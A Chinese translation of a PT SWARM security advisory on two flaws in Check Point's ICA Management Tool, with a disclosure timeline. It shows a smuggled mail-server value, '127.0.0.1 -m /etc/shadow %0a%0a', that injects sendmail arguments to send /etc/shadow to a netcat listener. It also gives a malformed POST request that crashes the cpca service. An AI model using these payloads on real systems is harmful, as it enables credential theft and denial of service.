文章信息
原文来自:Vulnerabilities in Checkpoint ICA Management Tool – PT SWARM (ptsecurity.com) 作者信息:米哈伊尔Klyuchnikov和尼基塔·阿布拉莫夫于2020年11月25日发布
翻译正文
今天,我们将分析在Check Point产品中使用的Checkpoint安全管理组件中发现的多个漏洞。有问题的组件是ICA管理工具。
ICA管理工具有助于管理用户证书:
- 运行搜索
- 重新创建CRL
- 配置ICA
- 删除过期的证书
默认情况下,此服务是关闭的,要启用它,您需要使用内置实用程序cpca_client。例如,您可以运行命令cpca_client set_mgmt_tool on -no_ssl,但要小心:如果运行该命令,则无需身份验证的用户就可以使用该服务。我们建议仅使用SSL运行此服务。为此,可以将命令cpca_client set_mgmt_tool on -u
与预先生成的证书一起使用。
启用此组件后,ICA管理工具Web界面将在以下地址提供:http://
在分析ICA管理工具期间,我们发现了两个漏洞,如下所示。
参数注入
这两个漏洞中的第一个类似于熟悉的命令注入,其中攻击者可以在将参数传递给目标应用程序时插入或“潜入”自定义命令。在我们的案例中,我们获得了在调用内部系统命令时注入自定义参数的功能。
Web界面最明显的功能之一是能够向用户发送有关证书初始化的通知的功能,同时仍然保留了修改标准电子邮件标题的能力:发件人,收件人,主题,邮件服务器地址等。可以将shell命令作为参数注入到邮件服务器地址参数中,类似于利用错误的“ ping”命令进行了不正确的输入验证,但是很快就确定了所讨论的上下文与之相似/bin/sh
下一步的逻辑步骤是确定并研究负责发送邮件的过程。由于它在18265上侦听的端口,一个名为“ cpca”的名称似乎很可能候选。简单的字符串搜索显示该二进制文件与sendmail进行了交互,并确认它确实是我们的目标。请务必注意,cpca二进制文件包含字符串“ send_mail_file.txt”,这表明它具有发送附件的功能。要构造注入字符串,必须了解sendmail的命令行参数。有关更多详细信息,请咨询man sendmail。
sendmail [-t server] [ [-m filename] | [-s subject] [-f from] email-address]
即使这样,也无法在已执行的命令中得出参数的顺序,因此必须设计替代的利用途径。将sendmail的命令行参数添加到Web界面中的各种参数的操作很成功:注入的命令行参数中指定的本地文件已发送到攻击者控制的邮件服务器,日志已确认。回顾一下,从分析开始可能更有效……
要利用此漏洞,请在本地端口25上启动netcat(我们使用本地端口来检查漏洞,因为我们的测试网络不允许我们向外部网络发送请求)。然后,在“配置CA”部分中,将“管理工具邮件服务器”的值更改为“ 127.0.0.1 -m /etc/shadow %0a%0a”。请注意,\n\n更改其值时,“ ”(不带引号)应出现在字段的末尾。
然后,我们发出一个触发电子邮件发送的请求。该certs参数包含状态为“待定”的证书的ID。
现在,其中的内容/etc/shadow已发送到在端口25上监听的netcat。
拒绝服务 另一个问题是由于无法验证输入数据而引起的。如果远程客户端发送了特殊的POST请求,该请求的主体以意外的方式格式化,则这将导致程序意外关闭。
作为POC,我们生成了以下POST请求:
POST /file_init?_ HTTP/1.1
Host: checkpoint.host:18265
Cookie: _
Content-Length: 1
q
cpca 收到此请求后崩溃。
时间线
- 2020年3月16日-向供应商报告了漏洞
- 2020年3月17日-供应商的第一反应
- 2020年3月18日-供应商开始进行修复
- 2020年6月4日-修复了漏洞
- 2020年9月24日-指定CVE